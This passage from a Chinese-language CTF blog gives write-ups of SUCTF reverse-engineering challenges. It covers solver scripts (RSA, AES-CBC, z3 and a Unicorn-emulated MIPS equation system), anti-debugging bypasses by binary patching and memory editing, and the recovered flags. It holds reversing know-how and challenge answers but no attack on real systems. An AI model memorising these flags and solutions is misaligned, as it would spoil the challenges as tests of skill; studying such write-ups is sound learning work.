0x40, 0x0C7, 0x38, 0x0B5, 0x0A3, 0x0F7, 0x0F2, 0x0CE, 0x0F9, 0x61, 0x15, 0x0A1, 0x0E0, 0x0AE, 0x5D, 0x0A4, 0x9B, 0x34, 0x1A, 0x55, 0x0AD, 0x93, 0x32, 0x30, 0x0F5, 0x8C, 0x0B1, 0x0E3, 0x1D, 0x0F6, 0x0E2, 0x2E, 0x82, 0x66, 0x0CA, 0x60, 0x0C0, 0x29, 0x23, 0x0AB, 0x0D, 0x53, 0x4E, 0x6F, 0x0D5, 0x0DB, 0x37, 0x45, 0x0DE, 0x0FD, 0x8E, 0x2F, 0x3, 0x0FF, 0x6A, 0x72, 0x6D, 0x6C, 0x5B, 0x51, 0x8D, 0x1B, 0x0AF, 0x92, 0x0BB, 0x0DD, 0x0BC, 0x7F, 0x11, 0x0D9, 0x5C, 0x41, 0x1F, 0x10, 0x5A, 0x0D8, 0x0A, 0x0C1, 0x31, 0x88, 0x0A5, 0x0CD, 0x7B, 0x0BD, 0x2D, 0x74, 0x0D0, 0x12, 0x0B8, 0x0E5, 0x0B4, 0x0B0, 0x89, 0x69, 0x97, 0x4A, 0x0C, 0x96, 0x77, 0x7E, 0x65, 0x0B9, 0x0F1, 0x9, 0x0C5, 0x6E, 0x0C6, 0x84, 0x18, 0x0F0, 0x7D, 0x0EC, 0x3A, 0x0DC, 0x4D, 0x20, 0x79, 0x0EE, 0x5F, 0x3E, 0x0D7, 0x0CB, 0x39, 0x48, 0x0C6, 0x0BA, 0x0B1, 0x0A3, 0x50, 0x33, 0x0AA, 0x56, 0x97, 0x91, 0x7D, 0x67, 0x0DC, 0x22, 0x70, 0x0B2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0};

__int64 __fastcall sub_564F32EDB464(unsigned int a1)
{
unsigned int v1;
v1 = (v3[(BYTE2(a1))&0xff] << 16) | v3[a1&0xff] | (v3[(BYTE1(a1))&0xff] << 8) | (v3[(a1 >> 24)&0xff] << 24);
return ROL(v1,12)^ROL(v1,8)^ROR(v1,2)^ROR(v1,6);
}
__int64 __fastcall sub_564F32EDB43B(int a1, int a2, int a3, unsigned int a4)
{
return a1 ^ (unsigned int)sub_564F32EDB464(a2 ^ a3 ^ a4);
}
int main()
{
unsigned int tmp[30] = {0};
unsigned int cipher[4] = {0xBE040680, 0xC5AF7647, 0x9FCC401F, 0xD8BF92EF};
memcpy(tmp+26,cipher,16);
int i;
for(i=25;i>=0;i--)
{
tmp[i] = sub_564F32EDB43B(tmp[i+4],tmp[i+1],tmp[i+2],tmp[i+3]);
}
printf("%s",tmp);
return 0;
}

需要注意的是v1为unsigned int
如果写int答案就错。。。莫名其妙
玄学问题
大部分还是靠着复制的伪代码
ida.h的头文件自己加上就好了
这算法真简单。。。
自家还是太懒了不肯耐心看下去。。。

SUCTF

这次suctf ak了re 俩个三血,还是挺满足的,同时也学到了许多新东西

SignIn

猜。。。
这题真是猜的。。。
看到65537可以联想到rsa,还有那个gmp库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# encoding: utf-8
import gmpy2

p1 = 282164587459512124844245113950593348271 #模数
p2 = 366669102002966856876605669837014229419
n = 103461035900816914121390101299049044413950405173712170434161686539878160984549 #n
e = 65537 #e
phi_n = (p1 - 1) * (p2 - 1)
d = gmpy2.invert(e, phi_n)

print hex(d)

c = 0xad939ff59f6e70bcbfad406f2494993757eee98b91bc244184a377520d06fc35 #密文
m = pow(c, d, n)
print hex(m)[2:].decode("hex")#hex(m)[2:len(hex(m))-1].decode('hex')

suctf{Pwn_@_hundred_years}
人人人,求你pwn我一百年!!!

hardCPP

刚看到懵逼了以为是ollvm
还好不难,下断点直接写
21
可以发现前面有time反调试,很明显俩边相减要是0,后面还用相减结果与输入xor
更说明了这一点
可以直接把sub esi, [rbp-28]改成xor esi, esi
然后是判断长度是否满足
最终判断逻辑就是(a[i+1] + (a[i]%7))^((a[i]^18)*3+2)
22

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# -*- coding: UTF-8 -*-
from z3 import *
b = [0xF3, 0x2E, 0x18, 0x36, 0xE1, 0x4C, 0x22, 0xD1, 0xF9, 0x8C,
0x40, 0x76, 0xF4, 0x0E, 0x00, 0x05, 0xA3, 0x90, 0x0E, 0xA5]
s = Solver()
a = [BitVec('u%d'%i,8) for i in range(21)]
for i in range(len(a)):
s.add(a[i]>=32)
s.add(a[i]<=125)
for i in range(len(b)):
s.add(b[i] == (a[i+1] + (a[i]%7))^((a[i]^18)*3+2))
flag = ''
print s.check()
if s.check() == sat:
result = s.model()
for i in range(21):
flag += chr(result[a[i]].as_long().real)
print flag

解出来#flag{mY-CurR1ed_Fns}

Akira Homework

这题非常规。。。
等别人一波wp
当时拿了三血
很明显程序有很强的反调试,isdebugpresent就不说了
关键是会检测ida窗口
只要ida打开,程序闪退
只能强行调试
23
可以看到puts,这边的字符串都是加密过的运行时解密输出
主要问题时下面scanf不能跑直接飞
这边选择直接跳过//反调试太猛了怼不动
直接进行下面语句,在内存中修改//变相scanf
然后发现输入前18应该为Akira_aut0_ch3ss_!
然后下面有判断
sub_7FF7198E6C10里有个解密
应该是虚函数
24
里面有个贼大的表,在用输入解密他
25
后来发现这应该是个pe文件调到后面有判断,这边的解密我强行调试只call一次
应该call三次,看表的交叉引用可以看到
然后利用pe文件的性质,末尾应该全是0
每隔三个解密pe文件,很明显看到明文输入
26
每隔三个看,可以看到Akira_aut0_ch3ss_!
也可以看到第二次解密传进去的参数应该是啥
这边我强行call三次解密
程序解密完后把exe提取出来
//没办法,反调试太鸡儿猛
放ida静态看exe
27
就是一个输入比较
其实只要调起来这题肯定很快出
可以发现是aes key应该是Ak1i3aS3cre7K3y
哪能咋办,慢慢猜呗。。。
cbc iv是0
最后猜出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#coding=UTF-8
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
# 如果text不足16位的倍数就用空格补足为16位
def add_to_16(text):
if len(text.encode('utf-8')) % 16:
add = 16 - (len(text.encode('utf-8')) % 16)
else:
add = 0
text = text + ('/0' * add)
return text.encode('utf-8')


# 加密函数
def encrypt(text):
key = '9999999999999999'.encode('utf-8')
mode = AES.MODE_CBC
iv = b'qqqqqqqqqqqqqqqq'
text = add_to_16(text)
cryptos = AES.new(key, mode, iv)
cipher_text = cryptos.encrypt(text)
# 因为AES加密后的字符串不一定是ascii字符集的,输出保存可能存在问题,所以这里转为16进制字符串
return b2a_hex(cipher_text)


# 解密后,去掉补足的空格用strip() 去掉
def decrypt(text):
key = 'Ak1i3aS3cre7K3y\x00'
iv = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
mode = AES.MODE_CBC
cryptos = AES.new(key, mode, iv)
plain_text = cryptos.decrypt(a2b_hex(text))
return bytes.decode(plain_text).rstrip('/0')


if __name__ == '__main__':
dd="94BF7A0CA43550D1C215ECEF9D9AAA56"
print decrypt(dd)

flag{Ak1rAWin!}
居然是三血。。。

babyunic

凌晨上题
还好有破解版的jeb
直接func拖进去mips 大端序
就能看到一开始有位运算和xor
然后是超大方程组
就是个行矩阵和一个42*42的矩阵相乘最后与行矩阵比较
注意最后的比较,读数据的时候应该是大端序读。。。
28
一开始以为是ida默认的小端,然后感觉不对劲怎么会这么大。。。
本想高斯消元解方程出答案//太多了
直接甩给密码队友1min出数组
跑一下出

1
2
3
4
5
6
7
8
9
10
11
12
13
int main()
{
unsigned char a[] = {154, 171, 24, 161, 54, 222, 172, 116, 129, 18, 139, 152, 127, 247, 36, 124, 43, 90, 97, 138, 238, 95, 141, 237, 26, 227, 152, 154, 167, 54, 141, 166, 139, 66, 216, 129, 94, 164, 69, 188, 33, 194};
int i,j=0;
for(i=0;i<42;i++)
{
a[i]^=i;
a[i] = ((a[i]&7)<<5)|(a[i]>>3);
printf("%c",a[i]);
}

return 0;
}

SUCTF{Un1c0rn_Engin3_Is_@_P0wer7ul_TO0ls!}

Rev

居然放在最后一题。。。未免tcl
不知道为什么写出来的人那么少
//没时间py了把
和de1ctf的有点太像了吧数据,截断。
29
这边俩个check第一个是检查输入是不是按照数据 符号 数据 符号 数据 这样的
下面一个就是第一段数据长度为10
isspace ispunct
这种函数基本可以猜出是在干啥了
代码量是多了点,但配合猜写的还是很快的
现在知道了输入条件下面看check
30
这边是第一个check
逻辑第一眼看上去有点矛盾又是要长度为10又是要为5
其实前面输入的为1就不算在这边的check长度里
所以前面十个输入是11111suctf
再看看第二个check
其实更简单。。。字母隔2一个输入
输入四个从A开始
所以输入应该是ACEG
第三个输入check就是个z3
输入转为一个整数然后判断

1
2
3
4
5
6
7
8
# -*- coding: UTF-8 -*-
from z3 import *
s = Solver()
x = BitVec('x',32)
s.add((1234 * x + 5678) / 4396 ^ 2882395322 == 2882386105)
s.add((2334 * x + 9875) / 7777 ^ 305358736 == 305396848)
print s.check()
print s.model()

[x = 31415926]
所以第三段数据是31415926
11111suctf_ACEG_31415926
输入得flag
suctf{ACEG31415926}
re结束

suctf学习总结

每次打完比赛来一波总结
这次主要学到的新知识还挺多的
首先是骑驴出的俩题,一道是rsa还有一道Unicorn Engine得
rsa在re中的出现很少,Unicorn Engine应该是有史以来第一次把。。。
//听说今年nu1l的ctf也出了Unicorn Engine
还有就是哪个aes的反调试太猛。。。可以学一波,还有互斥体
具体的话看了de1ta的wp
rev中检查输入合格的截断方式也了解一波
遇到了俩次,代码量多基本都是靠猜,来好好逆向一波
hardcpp一点都不hard。。。看到了nu1l的wp又了解到一个脚本
//在通往脚本小子的路上越走越远

Unicorn Engine

先把这个写一波
简答来说uc就是个模拟器了,目前不怎么常见,网上也没多少科普文章
31

print UC_ARCH_MIPS
3
可以发现是mips
0x400000LL代表大端序
把func放进破解jeb
就可以看到大部分逻辑
解法的话
一个是用z3
//当初也使用z3但是解不出
//后来看了别人的wp说是不能用bitvec。。。
//我佛了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from z3 import *

flag=[Int('flag%d'%i)for i in range(42)]
s=[-108,-200,294,-216,-1008,660,-866,1770,220,6,-244,-522,-1406,-816,386,990,334,690,-1832,372,-1370,-1580,450,-1668,858,326,-196,-1516,462,2012,-696,152,2142,-592,-68,878,-178,-1994,1472,1710,1684,34]
solver=Solver()
solver.add(flag[1]+flag[2]+flag[0]-flag[3]+flag[4]-flag[5]-flag[6]-flag[7]-flag[8]+flag[9]+flag[10]-flag[11]+flag[12]-flag[13]-flag[14]+flag[15]-flag[16]-flag[17]+flag[18]+flag[19]-flag[20]+flag[21]+flag[22]+flag[23]+flag[24]-flag[25]+flag[26]-flag[27]+flag[28]+flag[29]-flag[30]-flag[31]+flag[32]-flag[33]+flag[34]+flag[35]-flag[36]-flag[37]+flag[38]-flag[39]+flag[40]+flag[41]==s[0])
solver.add(flag[0]-flag[1]+flag[2]-flag[3]-flag[4]+flag[5]-flag[6]-flag[7]-flag[8]-flag[9]+flag[10]-flag[11]+flag[12]-flag[13]-flag[14]+flag[15]-flag[16]-flag[17]+flag[18]-flag[19]+flag[20]+flag[21]-flag[22]-flag[23]-flag[24]+flag[25]-flag[26]+flag[27]-flag[28]-flag[29]+flag[30]+flag[31]+flag[32]+flag[33]+flag[34]+flag[35]-flag[36]-flag[37]-flag[38]-flag[39]-flag[40]+flag[41]==s[1])
solver.add(flag[0]-flag[1]+flag[2]+flag[3]-flag[4]+flag[5]-flag[6]-flag[7]+flag[8]-flag[9]-flag[10]-flag[11]-flag[12]-flag[13]+flag[14]-flag[15]-flag[16]+flag[17]+flag[18]+flag[19]+flag[20]+flag[21]-flag[22]+flag[23]+flag[24]+flag[25]+flag[26]-flag[27]+flag[28]-flag[29]+flag[30]-flag[31]+flag[32]+flag[33]-flag[34]-flag[35]+flag[36]+flag[37]+flag[38]-flag[39]+flag[40]-flag[41]==s[2])
solver.add(flag[0]-flag[1]-flag[2]-flag[3]-flag[4]-flag[5]+flag[6]+flag[7]-flag[8]-flag[9]-flag[10]-flag[11]+flag[12]-flag[13]+flag[14]-flag[15]+flag[16]-flag[17]+flag[18]+flag[19]+flag[20]-flag[21]+flag[22]+flag[23]+flag[24]-flag[25]-flag[26]+flag[27]-flag[28]+flag[29]+flag[30]-flag[31]-flag[32]-flag[33]+flag[34]-flag[35]+flag[36]+flag[37]+flag[38]-flag[39]+flag[40]+flag[41]==s[3])
solver.add(flag[0]-flag[1]-flag[2]+flag[3]-flag[4]-flag[5]+flag[6]+flag[7]+flag[8]+flag[9]-flag[10]+flag[11]+flag[12]-flag[13]+flag[14]-flag[15]+flag[16]+flag[17]-flag[18]+flag[19]-flag[20]+flag[21]-flag[22]-flag[23]-flag[24]+flag[25]-flag[26]-flag[27]-flag[28]+flag[29]+flag[30]+flag[31]-flag[32]+flag[33]-flag[34]-flag[35]+flag[36]-flag[37]+flag[38]-flag[39]-flag[40]-flag[41]==s[4])
solver.add(flag[1]+flag[2]+flag[3]+flag[4]+flag[5]+flag[6]+flag[7]+flag[8]+flag[0]-flag[9]-flag[10]-flag[11]-flag[12]-flag[13]-flag[14]+flag[15]-flag[16]+flag[17]-flag[18]+flag[19]+flag[20]-flag[21]+flag[22]-flag[23]+flag[24]-flag[25]+flag[26]+flag[27]-flag[28]+flag[29]-flag[30]+flag[31]+flag[32]+flag[33]-flag[34]-flag[35]-flag[36]+flag[37]-flag[38]-flag[39]+flag[40]+flag[41]==s[5])
solver.add(flag[0]-flag[1]+flag[2]+flag[3]+flag[4]-flag[5]+flag[6]+flag[7]+flag[8]+flag[9]-flag[10]+flag[11]+flag[12]-flag[13]+flag[14]+flag[15]+flag[16]+flag[17]-flag[18]-flag[19]-flag[20]-flag[21]-flag[22]-flag[23]+flag[24]+flag[25]-flag[26]+flag[27]+flag[28]+flag[29]-flag[30]-flag[31]-flag[32]-flag[33]-flag[34]-flag[35]+flag[36]+flag[37]-flag[38]-flag[39]+flag[40]-flag[41]==s[6])
solver.add(flag[1]+flag[0]-flag[2]-flag[3]-flag[4]+flag[5]+flag[6]-flag[7]+flag[8]+flag[9]-flag[10]+flag[11]-flag[12]+flag[13]-flag[14]+flag[15]-flag[16]+flag[17]-flag[18]-flag[19]+flag[20]-flag[21]+flag[22]-flag[23]-flag[24]+flag[25]-flag[26]+flag[27]+flag[28]+flag[29]+flag[30]+flag[31]+flag[32]-flag[33]+flag[34]-flag[35]+flag[36]+flag[37]+flag[38]+flag[39]-flag[40]-flag[41]==s[7])
solver.add(flag[0]-flag[1]-flag[2]+flag[3]+flag[4]-flag[5]+flag[6]+flag[7]+flag[8]+flag[9]+flag[10]-flag[11]-flag[12]+flag[13]-flag[14]+flag[15]+flag[16]+flag[17]+flag[18]-flag[19]+flag[20]+flag[21]-flag[22]-flag[23]+flag[24]+flag[25]+flag[26]-flag[27]+flag[28]-flag[29]-flag[30]-flag[31]-flag[32]-flag[33]+flag[34]-flag[35]-flag[36]+flag[37]-flag[38]-flag[39]+flag[40]-flag[41]==s[8])
solver.add(flag[1]+flag[2]+flag[0]-flag[3]+flag[4]+flag[5]+flag[6]-flag[7]-flag[8]-flag[9]-flag[10]+flag[11]+flag[12]+flag[13]-flag[14]+flag[15]+flag[16]-flag[17]-flag[18]+flag[19]+flag[20]-flag[21]-flag[22]-flag[23]+flag[24]-flag[25]-flag[26]-flag[27]+flag[28]+flag[29]+flag[30]-flag[31]+flag[32]+flag[33]-flag[34]-flag[35]-flag[36]-flag[37]+flag[38]-flag[39]+flag[40]+flag[41]==s[9])
solver.add(flag[0]-flag[1]+flag[2]+flag[3]-flag[4]-flag[5]+flag[6]+flag[7]-flag[8]-flag[9]-flag[10]-flag[11]+flag[12]+flag[13]+flag[14]-flag[15]+flag[16]-flag[17]+flag[18]+flag[19]+flag[20]-flag[21]+flag[22]-flag[23]-flag[24]-flag[25]+flag[26]-flag[27]-flag[28]+flag[29]-flag[30]+flag[31]+flag[32]-flag[33]-flag[34]+flag[35]-flag[36]-flag[37]+flag[38]-flag[39]+flag[40]+flag[41]==s[10])
solver.add(flag[0]-flag[1]+flag[2]+flag[3]+flag[4]-flag[5]+flag[6]+flag[7]-flag[8]+flag[9]+flag[10]-flag[11]-flag[12]-flag[13]-flag[14]+flag[15]-flag[16]-flag[17]-flag[18]+flag[19]+flag[20]-flag[21]+flag[22]-flag[23]+flag[24]+flag[25]+flag[26]+flag[27]-flag[28]+flag[29]+flag[30]-flag[31]-flag[32]-flag[33]-flag[34]-flag[35]+flag[36]+flag[37]-flag[38]-flag[39]-flag[40]-flag[41]==s[11])
solver.add(flag[0]-flag[1]-flag[2]-flag[3]+flag[4]-flag[5]-flag[6]+flag[7]+flag[8]-flag[9]+flag[10]-flag[11]-flag[12]-flag[13]+flag[14]-flag[15]+flag[16]-flag[17]+flag[18]-flag[19]-flag[20]-flag[21]-flag[22]+flag[23]-flag[24]+flag[25]-flag[26]+flag[27]-flag[28]+flag[29]-flag[30]-flag[31]+flag[32]+flag[33]+flag[34]-flag[35]-flag[36]-flag[37]-flag[38]+flag[39]-flag[40]-flag[41]==s[12])
solver.add(flag[0]-flag[1]+flag[2]-flag[3]+flag[4]-flag[5]+flag[6]-flag[7]+flag[8]-flag[9]+flag[10]-flag[11]+flag[12]+flag[13]+flag[14]+flag[15]-flag[16]-flag[17]-flag[18]+flag[19]+flag[20]+flag[21]-flag[22]-flag[23]+flag[24]+flag[25]-flag[26]-flag[27]+flag[28]+flag[29]-flag[30]-flag[31]-flag[32]+flag[33]-flag[34]-flag[35]+flag[36]-flag[37]-flag[38]-flag[39]+flag[40]-flag[41]==s[13])
solver.add(flag[1]+flag[2]+flag[0]-flag[3]-flag[4]-flag[5]+flag[6]-flag[7]+flag[8]+flag[9]+flag[10]-flag[11]+flag[12]-flag[13]-flag[14]+flag[15]+flag[16]+flag[17]-flag[18]-flag[19]-flag[20]-flag[21]+flag[22]+flag[23]+flag[24]-flag[25]+flag[26]+flag[27]+flag[28]-flag[29]-flag[30]-flag[31]+flag[32]+flag[33]+flag[34]+flag[35]+flag[36]+flag[37]+flag[38]-flag[39]-flag[40]-flag[41]==s[14])
solver.add(flag[0]-flag[1]+flag[2]+flag[3]+flag[4]+flag[5]-flag[6]+flag[7]-flag[8]-flag[9]-flag[10]+flag[11]+flag[12]+flag[13]-flag[14]-flag[15]-flag[16]+flag[17]-flag[18]-flag[19]-flag[20]-flag[21]+flag[22]+flag[23]+flag[24]+flag[25]+flag[26]+flag[27]-flag[28]-flag[29]-flag[30]-flag[31]+flag[32]-flag[33]+flag[34]+flag[35]+flag[36]+flag[37]-flag[38]+flag[39]+flag[40]-flag[41]==s[15])
solver.add(flag[0]-flag[1]+flag[2]+flag[3]-flag[4]-flag[5]+flag[6]+flag[7]+flag[8]+flag[9]+flag[10]-flag[11]+flag[12]-flag[13]+flag[14]+flag[15]+flag[16]-flag[17]+flag[18]-flag[19]+flag[20]-flag[21]-flag[22]-flag[23]-flag[24]-flag[25]+flag[26]+flag[27]+flag[28]+flag[29]-flag[30]-flag[31]+flag[32]-flag[33]-flag[34]+flag[35]-flag[36]+flag[37]-flag[38]+flag[39]-flag[40]+flag[41]==s[16])
solver.add(flag[1]+flag[2]+flag[3]+flag[4]+flag[0]-flag[5]+flag[6]+flag[7]+flag[8]-flag[9]-flag[10]+flag[11]-flag[12]+flag[13]+flag[14]+flag[15]-flag[16]+flag[17]-flag[18]-flag[19]+flag[20]-flag[21]+flag[22]-flag[23]-flag[24]+flag[25]-flag[26]+flag[27]-flag[28]+flag[29]-flag[30]-flag[31]+flag[32]-flag[33]-flag[34]+flag[35]-flag[36]+flag[37]-flag[38]+flag[39]+flag[40]-flag[41]==s[17])
solver.add(flag[0]-flag[1]-flag[2]-flag[3]+flag[4]+flag[5]-flag[6]+flag[7]-flag[8]+flag[9]+flag[10]-flag[11]-flag[12]-flag[13]+flag[14]-flag[15]-flag[16]+flag[17]+flag[18]+flag[19]-flag[20]-flag[21]-flag[22]-flag[23]-flag[24]-flag[25]-flag[26]-flag[27]+flag[28]+flag[29]+flag[30]-flag[31]-flag[32]-flag[33]+flag[34]-flag[35]-flag[36]-flag[37]-flag[38]-flag[39]-flag[40]+flag[41]==s[18])
solver.add(flag[1]+flag[2]+flag[3]+flag[0]-flag[4]-flag[5]+flag[6]-flag[7]-flag[8]-flag[9]-flag[10]-flag[11]-flag[12]-flag[13]+flag[14]+flag[15]+flag[16]-flag[17]+flag[18]+flag[19]+flag[20]+flag[21]-flag[22]+flag[23]+flag[24]-flag[25]+flag[26]+flag[27]-flag[28]+flag[29]+flag[30]+flag[31]+flag[32]+flag[33]-flag[34]+flag[35]-flag[36]-flag[37]-flag[38]+flag[39]+flag[40]-flag[41]==s[19])
solver.add(flag[1]+flag[0]-flag[2]-flag[3]-flag[4]+flag[5]-flag[6]+flag[7]-flag[8]-flag[9]+flag[10]+flag[11]-flag[12]-flag[13]+flag[14]-flag[15]-flag[16]+flag[17]-flag[18]-flag[19]+flag[20]+flag[21]-flag[22]+flag[23]+flag[24]-flag[25]-flag[26]-flag[27]-flag[28]-flag[29]-flag[30]-flag[31]-flag[32]+flag[33]-flag[34]+flag[35]+flag[36]-flag[37]+flag[38]-flag[39]+flag[40]-flag[41]==s[20])
solver.add(flag[0]-flag[1]-flag[2]-flag[3]+flag[4]+flag[5]+flag[6]+flag[7]-flag[8]-flag[9]-flag[10]-flag[11]-flag[12]-flag[13]-flag[14]-flag[15]-flag[16]+flag[17]-flag[18]-flag[19]+flag[20]-flag[21]+flag[22]+flag[23]+flag[24]-flag[25]-flag[26]+flag[27]-flag[28]-flag[29]-flag[30]-flag[31]-flag[32]-flag[33]-flag[34]-flag[35]-flag[36]+flag[37]-flag[38]-flag[39]-flag[40]+flag[41]==s[21])
solver.add(flag[1]+flag[2]+flag[3]+flag[4]+flag[5]+flag[6]+flag[7]+flag[0]-flag[8]+flag[9]-flag[10]+flag[11]-flag[12]+flag[13]+flag[14]+flag[15]-flag[16]+flag[17]+flag[18]-flag[19]-flag[20]+flag[21]+flag[22]-flag[23]+flag[24]-flag[25]-flag[26]+flag[27]-flag[28]+flag[29]+flag[30]+flag[31]-flag[32]+flag[33]-flag[34]-flag[35]-flag[36]-flag[37]+flag[38]-flag[39]+flag[40]+flag[41]==s[22])
solver.add(flag[0]-flag[1]+flag[2]+flag[3]-flag[4]-flag[5]-flag[6]-flag[7]+flag[8]-flag[9]-flag[10]+flag[11]+flag[12]-flag[13]-flag[14]+flag[15]-flag[16]-flag[17]+flag[18]+flag[19]-flag[20]-flag[21]+flag[22]-flag[23]+flag[24]+flag[25]-flag[26]+flag[27]-flag[28]+flag[29]+flag[30]-flag[31]-flag[32]-flag[33]-flag[34]-flag[35]-flag[36]-flag[37]+flag[38]-flag[39]-flag[40]-flag[41]==s[23])
solver.add(flag[1]+flag[0]-flag[2]+flag[3]+flag[4]-flag[5]+flag[6]+flag[7]-flag[8]+flag[9]+flag[10]-flag[11]-flag[12]-flag[13]-flag[14]+flag[15]+flag[16]+flag[17]-flag[18]+flag[19]+flag[20]+flag[21]+flag[22]+flag[23]+flag[24]+flag[25]-flag[26]-flag[27]-flag[28]+flag[29]+flag[30]-flag[31]+flag[32]+flag[33]+flag[34]-flag[35]-flag[36]-flag[37]-flag[38]+flag[39]+flag[40]-flag[41]==s[24])
solver.add(flag[0]-flag[1]+flag[2]+flag[3]-flag[4]+flag[5]+flag[6]-flag[7]+flag[8]+flag[9]+flag[10]-flag[11]-flag[12]+flag[13]-flag[14]+flag[15]-flag[16]+flag[17]+flag[18]+flag[19]-flag[20]-flag[21]+flag[22]+flag[23]-flag[24]-flag[25]+flag[26]-flag[27]+flag[28]-flag[29]+flag[30]-flag[31]-flag[32]+flag[33]-flag[34]-flag[35]-flag[36]-flag[37]+flag[38]-flag[39]+flag[40]+flag[41]==s[25])
solver.add(flag[1]+flag[2]+flag[3]+flag[4]+flag[0]-flag[5]-flag[6]+flag[7]-flag[8]-flag[9]-flag[10]-flag[11]+flag[12]-flag[13]+flag[14]-flag[15]+flag[16]-flag[17]+flag[18]-flag[19]-flag[20]+flag[21]+flag[22]+flag[23]+flag[24]+flag[25]-flag[26]-flag[27]-flag[28]-flag[29]+flag[30]+flag[31]-flag[32]-flag[33]-flag[34]+flag[35]+flag[36]-flag[37]-flag[38]+flag[39]+flag[40]+flag[41]==s[26])
solver.add(flag[0]-flag[1]+flag[2]-flag[3]+flag[4]-flag[5]-flag[6]-flag[7]-flag[8]-flag[9]-flag[10]-flag[11]+flag[12]+flag[13]-flag[14]+flag[15]+flag[16]+flag[17]+flag[18]+flag[19]-flag[20]-flag[21]-flag[22]-flag[23]+flag[24]+flag[25]+flag[26]-flag[27]+flag[28]+flag[29]+flag[30]-flag[31]-flag[32]-flag[33]-flag[34]+flag[35]-flag[36]-flag[37]-flag[38]-flag[39]-flag[40]-flag[41]==s[27])
solver.add(flag[0]-flag[1]+flag[2]+flag[3]+flag[4]-flag[5]+flag[6]+flag[7]-flag[8]-flag[9]+flag[10]+flag[11]-flag[12]+flag[13]-flag[14]+flag[15]-flag[16]+flag[17]+flag[18]+flag[19]-flag[20]-flag[21]+flag[22]-flag[23]-flag[24]-flag[25]-flag[26]+flag[27]-flag[28]-flag[29]-flag[30]+flag[31]-flag[32]-flag[33]+flag[34]+flag[35]+flag[36]-flag[37]-flag[38]+flag[39]+flag[40]+flag[41]==s[28])
solver.add(flag[1]+flag[0]-flag[2]-flag[3]-flag[4]+flag[5]+flag[6]+flag[7]-flag[8]+flag[9]-flag[10]-flag[11]+flag[12]-flag[13]+flag[14]+flag[15]-flag[16]+flag[17]+flag[18]-flag[19]+flag[20]+flag[21]+flag[22]+flag[23]-flag[24]+flag[25]+flag[26]-flag[27]+flag[28]+flag[29]+flag[30]+flag[31]+flag[32]-flag[33]-flag[34]+flag[35]+flag[36]-flag[37]+flag[38]+flag[39]-flag[40]+flag[41]==s[29])
solver.add(flag[1]+flag[2]+flag[3]+flag[0]-flag[4]-flag[5]-flag[6]-flag[7]+flag[8]+flag[9]-flag[10]-flag[11]-flag[12]+flag[13]-flag[14]-flag[15]+flag[16]-flag[17]-flag[18]-flag[19]+flag[20]-flag[21]-flag[22]+flag[23]+flag[24]-flag[25]-flag[26]+flag[27]-flag[28]-flag[29]-flag[30]-flag[31]-flag[32]-flag[33]-flag[34]+flag[35]+flag[36]+flag[37]-flag[38]+flag[39]+flag[40]+flag[41]==s[30])
solver.add(flag[1]+flag[0]-flag[2]+flag[3]+flag[4]-flag[5]-flag[6]+flag[7]+flag[8]+flag[9]+flag[10]+flag[11]+flag[12]-flag[13]-flag[14]-flag[15]+flag[16]+flag[17]+flag[18]+flag[19]-flag[20]+flag[21]-flag[22]+flag[23]-flag[24]-flag[25]+flag[26]+flag[27]-flag[28]+flag[29]-flag[30]-flag[31]-flag[32]+flag[33]-flag[34]+flag[35]-flag[36]+flag[37]-flag[38]+flag[39]-flag[40]-flag[41]==s[31])
solver.add(flag[0]-flag[1]+flag[2]+flag[3]-flag[4]+flag[5]+flag[6]+flag[7]+flag[8]-flag[9]+flag[10]+flag[11]-flag[12]+flag[13]+flag[14]-flag[15]+flag[16]-flag[17]+flag[18]+flag[19]+flag[20]-flag[21]-flag[22]+flag[23]-flag[24]+flag[25]+flag[26]+flag[27]-flag[28]-flag[29]-flag[30]-flag[31]-flag[32]-flag[33]+flag[34]+flag[35]+flag[36]+flag[37]-flag[38]+flag[39]-flag[40]+flag[41]==s[32])
solver.add(flag[0]-flag[1]-flag[2]+flag[3]+flag[4]+flag[5]+flag[6]-flag[7]-flag[8]+flag[9]+flag[10]+flag[11]-flag[12]-flag[13]+flag[14]+flag[15]-flag[16]+flag[17]-flag[18]+flag[19]-flag[20]+flag[21]+flag[22]+flag[23]-flag[24]-flag[25]+flag[26]+flag[27]-flag[28]+flag[29]-flag[30]-flag[31]-flag[32]-flag[33]-flag[34]-flag[35]+flag[36]-flag[37]+flag[38]-flag[39]-flag[40]-flag[41]==s[33])
solver.add(flag[1]+flag[0]-flag[2]+flag[3]-flag[4]-flag[5]-flag[6]+flag[7]+flag[8]+flag[9]+flag[10]+flag[11]-flag[12]-flag[13]-flag[14]+flag[15]-flag[16]+flag[17]-flag[18]+flag[19]-flag[20]-flag[21]+flag[22]+flag[23]-flag[24]-flag[25]+flag[26]+flag[27]+flag[28]+flag[29]-flag[30]-flag[31]-flag[32]-flag[33]-flag[34]-flag[35]-flag[36]+flag[37]+flag[38]+flag[39]-flag[40]-flag[41]==s[34])
solver.add(flag[0]-flag[1]+flag[2]+flag[3]+flag[4]-flag[5]-flag[6]+flag[7]+flag[8]-flag[9]-flag[10]+flag[11]+flag[12]+flag[13]-flag[14]-flag[15]+flag[16]-flag[17]+flag[18]+flag[19]-flag[20]-flag[21]-flag[22]+flag[23]+flag[24]-flag[25]-flag[26]+flag[27]+flag[28]-flag[29]-flag[30]+flag[31]+flag[32]-flag[33]+flag[34]+flag[35]+flag[36]+flag[37]+flag[38]+flag[39]-flag[40]-flag[41]==s[35])
